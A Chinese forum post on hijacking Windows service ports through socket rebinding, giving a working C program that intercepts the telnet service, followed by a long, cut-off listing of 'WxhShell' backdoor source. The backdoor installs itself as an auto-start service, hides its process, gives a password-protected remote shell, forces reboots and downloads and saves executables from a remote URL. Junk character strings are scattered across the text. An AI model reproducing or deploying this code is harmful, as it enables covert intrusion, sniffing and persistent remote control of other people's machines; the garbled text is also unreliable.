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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :b-(@a7>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ']D( ({%g  
(*]Y<ve  
  saddr.sin_family = AF_INET; \O~P !`  
-nSqB{s!SD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ma~`&\xE  
ZC-N4ESr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2{N0.  |5  
>MH@FnUL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j!rz@Y3  
+\Q@7Lj  
  这意味着什么?意味着可以进行如下的攻击: Q1yTDJ(2  
z_TK (;j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /2q%'"x(  
m|[ Hhw=f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fM{Vy])J  
gy.; "W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #'P&L>6 ;  
%94"e7Hy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T /uu='3  
I%Z &i-33y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \D=B-dREq  
P+a&R<Dj4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JI(|sAH  
[cq>QMW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C{-pVuhK+  
c 9@*  
  #include *h1@eJHMz  
  #include <:w7^m  
  #include A@+.[[  
  #include    qI}Zg)q]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y5I7pbe  
  int main() 6._):[_2  
  { 2Xosj(H  
  WORD wVersionRequested; ,ic}   
  DWORD ret; $8)/4P?OL  
  WSADATA wsaData; :([,vO:  
  BOOL val; =0S7tNut  
  SOCKADDR_IN saddr; W7 $yE},z  
  SOCKADDR_IN scaddr; f 36rU  
  int err; 0#G"{M  
  SOCKET s; ^H'#*b0u  
  SOCKET sc; Oqyh{q%]  
  int caddsize; s*;~CH-[  
  HANDLE mt; A<&9   
  DWORD tid;   [0 $Y@ek[  
  wVersionRequested = MAKEWORD( 2, 2 ); QnqX/vnR  
  err = WSAStartup( wVersionRequested, &wsaData ); I`|>'$E[r  
  if ( err != 0 ) { Y*6*;0Kx  
  printf("error!WSAStartup failed!\n"); eUl[gHP  
  return -1; v'uQ'CiH  
  } <mxUgU  
  saddr.sin_family = AF_INET; fN9hBC@  
   G} p~VLf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Pdv&X*KA  
*m7e>]-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5g=" #  
  saddr.sin_port = htons(23); (L\tp> E-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ny}?+&K  
  { x?k6ek  
  printf("error!socket failed!\n"); JO$0Z  
  return -1; tC;D4i  
  } =J:~AD#  
  val = TRUE; KP i@wl3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (mzyA%;W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `f (!i mN  
  { ?lTQjw{  
  printf("error!setsockopt failed!\n"); QRRZMdEGs[  
  return -1; *Q)+Y&qn  
  } Xd4~N:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FIuKX"XR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tIg_cY_y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /<n_X:[)  
I;No++N0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WA<~M) rb  
  { @+xQj.jNC  
  ret=GetLastError(); M|\ XFO  
  printf("error!bind failed!\n"); -v]7}[ .[  
  return -1; 4"GY0) Q  
  } ].$N@t C  
  listen(s,2); 8.vD]hO  
  while(1) u+-}|  
  { dfNNCPu]+  
  caddsize = sizeof(scaddr); [[Z*n/tr  
  //接受连接请求 uG/Zpi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a{y ;Ub  
  if(sc!=INVALID_SOCKET) H#f FU  
  { + 5 05  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +Ix;~  
  if(mt==NULL) (u~@@d"  
  { lK{h%2A\b  
  printf("Thread Creat Failed!\n"); w|NLK  
  break; ,Q^.SHP8  
  } IF<jq\M  
  } WzF/wzR  
  CloseHandle(mt); -cMqq$  
  } R+P1 +5  
  closesocket(s); |A"zxNeS"  
  WSACleanup(); Nl0*"}`I_  
  return 0; 6z~6o0s~  
  }   aK 'BC>uFI  
  DWORD WINAPI ClientThread(LPVOID lpParam) UZqr6A(/H  
  { M4`qi3I  
  SOCKET ss = (SOCKET)lpParam; j2V^1  
  SOCKET sc; x2 l~aw#?  
  unsigned char buf[4096]; p?ICZg:  
  SOCKADDR_IN saddr; G/b $cO}  
  long num; h^cM#L^B  
  DWORD val; iXI > >9  
  DWORD ret; rxt)l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wgY: W:y'N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N_wB  
  saddr.sin_family = AF_INET; FK<1SOE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z!DGCw  
  saddr.sin_port = htons(23); %qNT<>c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  "H#2  
  { p4[cPt~C  
  printf("error!socket failed!\n"); 4 1q|R[js!  
  return -1; # R}sGT  
  } ve<D[jQsk  
  val = 100; JZB7?@h%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^i:%0"[*^i  
  { *6<<6f`(  
  ret = GetLastError(); bu$YW'  
  return -1; 'a[|'  
  } t[VA|1gG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d[=~-[  
  { B^nE^"b  
  ret = GetLastError(); r1ao=N  
  return -1; ?cF`T/z]"  
  } o!bV;]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Mh3Tfp  
  { ;LD!eWSK,  
  printf("error!socket connect failed!\n"); Qq+$ea?>  
  closesocket(sc); @~sJ ((G[5  
  closesocket(ss); '*lVVeSiFw  
  return -1; +VT/ c  
  } /-s-W<S[  
  while(1) t>Lq "]1  
  { 4h~CDy%_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~HBQQt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h9RL(Kq{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =Z}$X: $  
  num = recv(ss,buf,4096,0); Y].,}}9k  
  if(num>0) y!eT>4Oyg  
  send(sc,buf,num,0); zi%Ql|zI~  
  else if(num==0) H< 51dJn~  
  break; 3n_N^q}  
  num = recv(sc,buf,4096,0); Ui|z#{8&  
  if(num>0) LT[g +zGB  
  send(ss,buf,num,0); |r['"6  
  else if(num==0) TsVU^Z%W  
  break; ]"ou?ot }  
  } 6pP:Q_U$  
  closesocket(ss); 4Dy|YH$>S  
  closesocket(sc); 'Y2ImSWj  
  return 0 ; '2XIeR  
  } t03X/%H  
9x`1VR :  
oZ5 ,y+L4  
========================================================== 4ibOVBG:*,  
{ k>T*/  
下边附上一个代码,,WXhSHELL 7?ICXhu9  
HjCe/J ;  
========================================================== twMDEw#VL  
:lW8f~!  
#include "stdafx.h" 9CG&MvF c  
Yz)+UF,  
#include <stdio.h> w"{mDL}c  
#include <string.h> R =kXf/y  
#include <windows.h> R0~w F>  
#include <winsock2.h> K2{6{X=  
#include <winsvc.h> 1z3>nou2{  
#include <urlmon.h>  < v1.+  
i^@hn>s$  
#pragma comment (lib, "Ws2_32.lib") 6t=)1T  
#pragma comment (lib, "urlmon.lib") ]TVc 'G;  
#(}'G*  
#define MAX_USER   100 // 最大客户端连接数 <!=:{&d%  
#define BUF_SOCK   200 // sock buffer a$K6b5`>Rs  
#define KEY_BUFF   255 // 输入 buffer \1sWmN6  
T]x]hQ  
#define REBOOT     0   // 重启 J@A^k1B  
#define SHUTDOWN   1   // 关机 ioBYxbY`  
W2 {4s 1  
#define DEF_PORT   5000 // 监听端口 !i_~<6Wa7  
xwu b-yz  
#define REG_LEN     16   // 注册表键长度 +w?-#M#  
#define SVC_LEN     80   // NT服务名长度 Th X6e  
!5 ?<QKOe  
// 从dll定义API &z05h<]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VIaj])m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [9d\WPLC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rgo!t028^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WMS~Bk+!  
:w]NN\  
// wxhshell配置信息 c*r@QmB:  
struct WSCFG { F. I\?b  
  int ws_port;         // 监听端口 :Wihb#TO)  
  char ws_passstr[REG_LEN]; // 口令 >>c%I c  
  int ws_autoins;       // 安装标记, 1=yes 0=no P{HR='2  
  char ws_regname[REG_LEN]; // 注册表键名 Yfx?3  
  char ws_svcname[REG_LEN]; // 服务名 nub!*)q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wo  Z@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _FU}IfG>t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5&.I9}[)j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?69E_E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  PZY6 I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z 5g*'  
0+K<;5"63d  
}; +i[@+`  
]F"P3':  
// default Wxhshell configuration ~R\ $Z  
struct WSCFG wscfg={DEF_PORT, 9rIv-&7'm  
    "xuhuanlingzhe", Q9c*I,O j  
    1, ?4#  
    "Wxhshell", nchpD@'t  
    "Wxhshell", x_9#:_S'  
            "WxhShell Service", OnyAM{$g  
    "Wrsky Windows CmdShell Service", (:^YfG~e  
    "Please Input Your Password: ", 2*V]jO  
  1, 8K@e8p( y  
  "http://www.wrsky.com/wxhshell.exe", t qUBl?i  
  "Wxhshell.exe" cG(%P$  
    }; (w`_{%T  
r?|(t?  
// 消息定义模块 |WNI[49  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %0({ MU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q[FDk63;w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7%&e4'SZO  
char *msg_ws_ext="\n\rExit."; {suQ"iv  
char *msg_ws_end="\n\rQuit."; )NTpb  
char *msg_ws_boot="\n\rReboot...";  C~^T=IP  
char *msg_ws_poff="\n\rShutdown..."; ><$V:nsEO  
char *msg_ws_down="\n\rSave to "; UGvUU<N|N  
s@g _F  
char *msg_ws_err="\n\rErr!"; ~+,ZD)AKi4  
char *msg_ws_ok="\n\rOK!"; YDZB$?&a  
RjR+'<7E^  
char ExeFile[MAX_PATH]; n'?]_z<  
int nUser = 0; S_^;#=_c  
HANDLE handles[MAX_USER]; O]?\<&y  
int OsIsNt; ztAC3,r]  
*^XMf  
SERVICE_STATUS       serviceStatus; \w&R`;b8w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W e*uZ?+  
C' WX$!$d  
// 函数声明 C+_UI x]A  
int Install(void); e.Q'l/g  
int Uninstall(void); 79D;0  
int DownloadFile(char *sURL, SOCKET wsh); r oBb o  
int Boot(int flag); >>M7#hmt  
void HideProc(void); x_<,GE@  
int GetOsVer(void); o=PW)37>  
int Wxhshell(SOCKET wsl); -FrK'!\  
void TalkWithClient(void *cs); muDOY~.  
int CmdShell(SOCKET sock); aCi)icn$  
int StartFromService(void); `uqe[u;`6  
int StartWxhshell(LPSTR lpCmdLine); XsSDz}dg  
'}OAl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ks,d4b=->  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z`Jt6QgW  
VMS3Q)Ul  
// 数据结构和表定义 dp2FC   
SERVICE_TABLE_ENTRY DispatchTable[] = L-m' #  
{ xa 967Ki9"  
{wscfg.ws_svcname, NTServiceMain}, bIzBY+P  
{NULL, NULL} WpMm%G~'4t  
}; <-gGm=R_$  
7f*b5$+r  
// 自我安装 .&Sjazk0XO  
int Install(void) P%d3fFzK  
{ 8|u8J0^  
  char svExeFile[MAX_PATH]; i3) 7Qa[  
  HKEY key; bU}l*"  
  strcpy(svExeFile,ExeFile); :c(I-xif  
.R#<Q  
// 如果是win9x系统,修改注册表设为自启动 8M]QDgd.  
if(!OsIsNt) { CUft  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wd7qpWItjQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L"uidd0(g  
  RegCloseKey(key); g>a% gVly  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ax9A-|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kk OjAp{<t  
  RegCloseKey(key); `'9t^ 6mk  
  return 0; ^e80S^  
    } ?xwZ< A  
  } "y ;0}9]n1  
} )Q<u0AxAn  
else { s -F3(mc(  
@mcP-  
// 如果是NT以上系统,安装为系统服务 KB{/L5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !nQoz^_`P  
if (schSCManager!=0) rT;_"y}  
{ eMP0BS"  
  SC_HANDLE schService = CreateService nFefDdP  
  ( \.F|c  
  schSCManager, yATXN>]l  
  wscfg.ws_svcname, >QBDxm  
  wscfg.ws_svcdisp, d1NKVMeWr  
  SERVICE_ALL_ACCESS, )X6I #q8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >/.Ae8I)  
  SERVICE_AUTO_START, Xa$tW%)  
  SERVICE_ERROR_NORMAL, /g!X[rn7Q  
  svExeFile, w3Dqpo8E  
  NULL, 2W/*1K}  
  NULL, -(E-yC u  
  NULL, +1eb@b X  
  NULL, HzZX=c  
  NULL = d!YM6G  
  ); /vqsp0e"H  
  if (schService!=0) Tq%##  
  { Qs 'dwc  
  CloseServiceHandle(schService); Qqp=  
  CloseServiceHandle(schSCManager); \'B%lXh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F[X;A\  
  strcat(svExeFile,wscfg.ws_svcname); 1R#1Fy%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f=>ii v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q=k[]vD  
  RegCloseKey(key); irn }.e  
  return 0; - ysd`&  
    } }jL4F$wC  
  } }5u;'>$  
  CloseServiceHandle(schSCManager); eM^Y  
} _!o0bYD  
} Gx(%AB~9$  
>UV=k :Q  
return 1; +4k4z:<n  
} _2xYDi  
ho6,&Bp8  
// 自我卸载 #/WjKr n  
int Uninstall(void) &G7@lz@sK+  
{ nyPW6VQ0n  
  HKEY key; ^ ;cJjl'=  
U> {CG+X  
if(!OsIsNt) { bE"J&;|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '>% c@C[  
  RegDeleteValue(key,wscfg.ws_regname); }ct*<zj[~u  
  RegCloseKey(key); s1zkkLw`*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,.,Y{CP  
  RegDeleteValue(key,wscfg.ws_regname); X+//$J  
  RegCloseKey(key); D 6F /9|  
  return 0; ypY7uYO^"  
  } Ap`D{u/  
} C,5Erb/  
} QtfLJ5vi  
else { Q8bn|#`  
[Mlmn$it  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [&{NgUgu"  
if (schSCManager!=0) 6X$iTJ[\x  
{ rB3b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h>"Z=y  
  if (schService!=0) bt?)ryu  
  { ,+RoJwi m  
  if(DeleteService(schService)!=0) { CIf""gL9  
  CloseServiceHandle(schService); W7 9.,#  
  CloseServiceHandle(schSCManager); r A9Rz^;xa  
  return 0; BC1P3Sk 6X  
  } )"y]_}  
  CloseServiceHandle(schService); K?mly$  
  } < nyk:E  
  CloseServiceHandle(schSCManager); CV6W)B%Se  
} ,NQ>,}a0  
} "_/5{Nc$  
n!y}p q6  
return 1; G3t 4$3|  
} \{`*`WQF  
2E}^'o  
// 从指定url下载文件 U*em)/9  
int DownloadFile(char *sURL, SOCKET wsh) 60Obek`  
{ @?"t&h  
  HRESULT hr; 1Du9N[2'P  
char seps[]= "/"; Q Ph6 p3bg  
char *token; F`YxH*tO7  
char *file; &g-uQBQI#  
char myURL[MAX_PATH]; 5Ai$1'*p  
char myFILE[MAX_PATH]; @;@Wt`(2a  
tc<t%]c  
strcpy(myURL,sURL); V/7?]?!xu  
  token=strtok(myURL,seps); W4(O2RU  
  while(token!=NULL) XG}pp`{o  
  { >zAI#N4  
    file=token; EaGS}=qY5  
  token=strtok(NULL,seps); j>OB<4?.+  
  } )z?Kq0  
OHha5n  
GetCurrentDirectory(MAX_PATH,myFILE); +bK.{1  
strcat(myFILE, "\\"); %S<( z5  
strcat(myFILE, file); /1q] D8  
  send(wsh,myFILE,strlen(myFILE),0); L)ry!BuHI  
send(wsh,"...",3,0); $R<eXDW6:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =F}e>D  
  if(hr==S_OK) %U)M?UNjw  
return 0; K06/ D!RD4  
else dO[w3\~  
return 1; wfrWpz=FO  
d.&~n`Rv!p  
} cIgicp}U  
~L'}!' &.  
// 系统电源模块 4n@, p0   
int Boot(int flag) +<ey Iw  
{ ynN[N(m#  
  HANDLE hToken; []M+(8Z_P  
  TOKEN_PRIVILEGES tkp; g3%t+>$*  
/vB%gqJvX  
  if(OsIsNt) { (IR'~ :W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T<0Bq"'%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r8 M/E lbk  
    tkp.PrivilegeCount = 1; `v)-v<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EF{_-FXY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \(LHcvbb  
if(flag==REBOOT) { Om0S^4y]x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Sk$ XC  
  return 0; yXw xq(32  
} 2'J.$ h3  
else { pDlh^?cux  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?^&!/,  
  return 0; !+H=e>Y6  
} bct&ge7YX  
  } $hO8 S=  
  else { 6#5@d^a  
if(flag==REBOOT) { ?lU]J]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MnsnW{VGX  
  return 0; ap9eQsC  
} _ #l b\  
else { (w% hz']  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wy_TFV  
  return 0; M)EUR0>8  
} J(/ eR,ak  
} Gh|1%g"gm  
GJy,)EO6{  
return 1; ~P6K)V|@<  
} s[s6E`Q  
3+ i(fg_  
// win9x进程隐藏模块 ]P<&CEk  
void HideProc(void) JBUJc  
{ &<^@/osi  
aeBth{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y'yaCf  
  if ( hKernel != NULL ) nVyb B~.=  
  { bR&hI9`%F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i,yK&*>JJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "F[VqqD  
    FreeLibrary(hKernel); #{ Uk4  
  } 4qm5`o\hb  
bNaJ{Dm$R  
return; zRE7 w:  
} &_90E  
/ V {w<  
// 获取操作系统版本 3&?Tc|F+  
int GetOsVer(void) [#R%jLEJ2  
{ Y6D =tb  
  OSVERSIONINFO winfo; SV\x2^Ea0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]7u8m[@  
  GetVersionEx(&winfo); y6PAXvv'{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }lxvXVc{I  
  return 1; |[{;*wtv  
  else ZXU e4@qfl  
  return 0; |y:DLsom?i  
} E$ngmm[  
Q^p@ 1I  
// 客户端句柄模块 q90S>c,  
int Wxhshell(SOCKET wsl) "BVz5?  
{ ^g[])2",  
  SOCKET wsh; PZ ogN  
  struct sockaddr_in client; H|TzD "2N  
  DWORD myID; ynDx'Q*N'  
k]>k1Mi=  
  while(nUser<MAX_USER) _$bx4a  
{ 3,F/i+@  
  int nSize=sizeof(client); l =_@<p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <m6Xh^Ko;  
  if(wsh==INVALID_SOCKET) return 1; Bs1-UI}+  
c'|MC[^A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FI/YJ@21  
if(handles[nUser]==0) 7GIv3Dc  
  closesocket(wsh); `?D_=Gw  
else :>;ps R  
  nUser++; t~a$|( 9  
  } 8uGPyH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nEp'l.T  
I+CQ,Zuf  
  return 0; 3w9 ]@kU  
} v]BQIE?R /  
fM|g8(TK,  
// 关闭 socket eB\r/B]  
void CloseIt(SOCKET wsh) op|mRJBq;  
{ {4QOUqAu  
closesocket(wsh); Fm;)7.% >  
nUser--; #w*pWD^  
ExitThread(0); 9kF#*  
}  `JE>GZ Y  
*QG3Jz  
// 客户端请求句柄 jzj{{D[^  
void TalkWithClient(void *cs) %)/f; T6  
{ ,Mhe:^3  
VBX# !K1Q  
  SOCKET wsh=(SOCKET)cs; "pZ3  
  char pwd[SVC_LEN]; da2[   
  char cmd[KEY_BUFF]; #8z,'~\  
char chr[1]; }m9LyT=~$  
int i,j; UTTC:=F+  
t>wxK ,  
  while (nUser < MAX_USER) { qp W#!Vbx  
Y/S3)o  
if(wscfg.ws_passstr) { *!'&:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y^AA#kk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O8r"M8  
  //ZeroMemory(pwd,KEY_BUFF); >-w=7,?'?z  
      i=0; gFT~\3j p=  
  while(i<SVC_LEN) { W"kw>JEt  
&#@>(u: .  
  // 设置超时 * |HZ&}  
  fd_set FdRead; be:phS4vz  
  struct timeval TimeOut; 'Y[A'.*}4  
  FD_ZERO(&FdRead); 4VNb`!e  
  FD_SET(wsh,&FdRead); @LKG\zYBu  
  TimeOut.tv_sec=8; qu ~|d}0  
  TimeOut.tv_usec=0; Tdwwtbe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u 7"VeTz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EyPJvs  
uXLZtfu{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *>'2$me=  
  pwd=chr[0]; *kQCW#y0  
  if(chr[0]==0xd || chr[0]==0xa) { V->%)d3i  
  pwd=0; =u8D!AxT  
  break; .NkAD-k`  
  } 5$oewjLO  
  i++; (s"iC:D6U  
    } d>, V  
nnE_OK!}T  
  // 如果是非法用户,关闭 socket mhk/>+hF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "W@XP+POAY  
} _;:rkC fj  
u:k:C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kwHqvO!G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gKN}Of@^1  
&G/|lv>j  
while(1) { :wU_-{>>2  
|= cCv_y  
  ZeroMemory(cmd,KEY_BUFF); %X9b=%'+  
,?k%jcR  
      // 自动支持客户端 telnet标准   JA)o@[l F  
  j=0; h}|6VJ@.  
  while(j<KEY_BUFF) { "#pzZ)Zh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e3eVvl5]  
  cmd[j]=chr[0]; 2vc\=  
  if(chr[0]==0xa || chr[0]==0xd) { ~o@\ n  
  cmd[j]=0; tqf&N0*  
  break; .Z=Ce!  
  } dC` tN5  
  j++; UP;Q=t  
    } ]4Y/xi-  
kG1;]1tT#  
  // 下载文件 a}KK{Vqo`  
  if(strstr(cmd,"http://")) { r219M)D?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u 1ZJHry  
  if(DownloadFile(cmd,wsh)) [?chK^8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \+k, :8s/  
  else oYz!O]j;a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MZ|\S/  
  } pe()f/Jx(  
  else { hH%,!tSx  
p jKt:R}  
    switch(cmd[0]) { M8';%  =@  
  ( 0i'Nb"  
  // 帮助 9Ct_$.Q .  
  case '?': { Q,.By&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5Yi Z-CQ>  
    break; <jeh`g  
  } +z\\VD  
  // 安装 k(P3LJcYQ  
  case 'i': { Ic'Q5kfM  
    if(Install()) sV u k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W`$[j0  
    else G0}Dq M Ti  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I:#Ok+   
    break; `=79i$,,t  
    } @(-yrU  
  // 卸载 FV A UR  
  case 'r': { M% @  
    if(Uninstall()) "B#Y-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p*|ah%F6N  
    else XaW4C-D&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IAI(Ix  
    break; 6lsL^]7  
    } *Bs^NU.  
  // 显示 wxhshell 所在路径 7JI:=yY!>:  
  case 'p': { lEHwZ<je  
    char svExeFile[MAX_PATH]; R4b-M0H  
    strcpy(svExeFile,"\n\r"); vM`7s[oAK  
      strcat(svExeFile,ExeFile); 'M8aW!~  
        send(wsh,svExeFile,strlen(svExeFile),0); 1Bg_FPu  
    break; EKuSnlTXba  
    } ?; [ T  
  // 重启 ?Ko|dmX  
  case 'b': { WfG(JJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?*H9-2W@  
    if(Boot(REBOOT)) "jR]MZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ZS TKi?  
    else { L/?]^!.  
    closesocket(wsh); V^n0GJNo  
    ExitThread(0); =&Xdm(  
    } 3]/.\(2  
    break; WPo:^BD   
    } oG_C?(7>  
  // 关机  sTkkM9  
  case 'd': { @2 =z}S3O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?TpUf  
